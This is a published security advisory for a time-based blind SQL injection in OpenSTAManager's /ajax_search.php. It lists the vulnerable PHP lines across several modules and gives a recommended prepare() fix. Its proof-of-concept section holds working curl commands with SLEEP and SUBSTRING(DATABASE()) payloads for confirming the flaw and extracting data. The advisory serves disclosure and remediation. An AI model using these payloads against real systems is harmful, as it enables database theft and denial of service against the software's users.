GHSA-4hc4-8599-xh2h

Suggest an improvement
Source
https://github.com/advisories/GHSA-4hc4-8599-xh2h
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-4hc4-8599-xh2h/GHSA-4hc4-8599-xh2h.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4hc4-8599-xh2h
Aliases
Published
2026-02-06T18:23:14Z
Modified
2026-02-10T01:33:35.065520Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service
Details

Summary

Critical Time-Based Blind SQL Injection vulnerability affecting multiple search modules in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with amplified execution across 10+ modules.

Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameter: term (GET) Affected Endpoint: /ajax_search.php Affected Modules: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

Details

OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the term parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.

Vulnerability Chain:

  1. Entry Point: /ajax_search.php (Line 30-31)

    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    The $term parameter undergoes minimal sanitization (only forward slash replacement).

  2. Distribution: /src/AJAX.php::search() (Line 159-161)

    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    The unsanitized $term is passed to all module-specific search handlers.

  3. Execution: /src/AJAX.php::getSearchResults() (Line 373)

    require $file;
    

    Each module's search.php file is included with $term variable in scope.

  4. Vulnerable SQL Queries: Multiple modules directly concatenate $term without prepare()

All Affected Files (10+ vulnerable instances):

  1. /modules/articoli/ajax/search.php - Line 51 (PRIMARY EXAMPLE)

    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    Impact: Direct concatenation without prepare(), allows full SQL injection.

  2. /modules/ordini/ajax/search.php - Line 43, 47

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - Line 43, 47

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - Line 45, 49

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  5. /modules/preventivi/ajax/search.php - Line 45, 49

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  6. /modules/anagrafiche/ajax/search.php - Line 62, 107, 162

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  7. /modules/impianti/ajax/search.php - Line 46

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

Properly Sanitized (NOT vulnerable): - /modules/contratti/ajax/search.php - Uses prepare() correctly - /modules/automezzi/ajax/search.php - Uses prepare() correctly

Note: The vulnerability has amplified execution - a single malicious request triggers SQL Injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to 504 Gateway Time-out errors as observed on the live demo instance.

<img width="1899" height="349" alt="image" src="https://github.com/user-attachments/assets/a6cc5a75-0f4e-4f49-a750-7ae72a363bbe" />

PoC

Step 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Time-Based SLEEP)

# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

<img width="727" height="319" alt="image" src="https://github.com/user-attachments/assets/6022de5e-de91-4ebb-b02a-30358c31d96d" />

Step 3: Data Extraction - Database Name

# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s

<img width="1364" height="349" alt="image" src="https://github.com/user-attachments/assets/a1d8a7d8-bb1a-49cd-8400-136ae5e359f1" />

Impact

Affected Users: All authenticated users with access to the global search functionality.

  • Complete database exfiltration including customer PII, financial records, business secrets
  • Extraction of password hashes for offline cracking
  • Amplified time-based attacks consume 85x server resources per request

Recommended Fix:

Replace all instances of direct $term concatenation with prepare():

BEFORE (Vulnerable):

$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

AFTER (Fixed):

$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

Apply this fix to ALL affected files: 1. /modules/articoli/ajax/search.php - Line 51 2. /modules/ordini/ajax/search.php - Lines 43, 47, 79 3. /modules/ddt/ajax/search.php - Lines 43, 47, 83 4. /modules/fatture/ajax/search.php - Lines 45, 49, 85 5. /modules/preventivi/ajax/search.php - Lines 45, 49, 83 6. /modules/anagrafiche/ajax/search.php - Lines 62, 107, 162 7. /modules/impianti/ajax/search.php - Line 46

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:23:14Z",
    "severity": "HIGH",
    "nvd_published_at": "2026-02-06T19:16:08Z",
    "cwe_ids": [
        "CWE-89"
    ]
}
References

Affected packages

Packagist / devcode-it/openstamanager

Package

Name
devcode-it/openstamanager
Purl
pkg:composer/devcode-it/openstamanager

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

2.*
2.3.0
v2.*
v2.4
v2.4.1
v2.4.2
v2.4.3
v2.4.4
v2.4.5
v2.4.6
v2.4.7
v2.4.8
v2.4.9
v2.4.10
v2.4.11
v2.4.12
v2.4.13
v2.4.14
v2.4.15
v2.4.16
v2.4.17
v2.4.17.1
v2.4.18
v2.4.19
v2.4.20
v2.4.21
v2.4.22
v2.4.23
v2.4.24
v2.4.25
v2.4.26
v2.4.27
v2.4.28
v2.4.29
v2.4.30
v2.4.31
v2.4.32
v2.4.33
v2.4.34
v2.4.35
v2.4.36
v2.4.37
v2.4.38
v2.4.39
v2.4.40
v2.4.41
v2.4.42
v2.4.43
v2.4.44
v2.4.45
v2.4.46
v2.4.47
v2.4.48
v2.4.49
v2.4.50
v2.4.51
v2.4.52
v2.4.53
v2.4.54
v2.5
v2.5.1-beta
v2.5.2-beta
v2.5.3
v2.5.4
v2.5.5
v2.5.6
v2.5.7
v2.6-beta
v2.6.1
v2.6.2
v2.7-beta
v2.7
v2.7.1
v2.7.2
v2.7.3
v2.8-beta
v2.8.1
v2.8.2
v2.8.3
v2.9-beta
v2.9
v2.9.1
v2.9.2
v2.9.3
v2.9.4
v2.9.5
v2.9.6
v2.9.7
v2.9.8
v2.10-beta

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-4hc4-8599-xh2h/GHSA-4hc4-8599-xh2h.json"
last_known_affected_version_range
"< 2.9.8"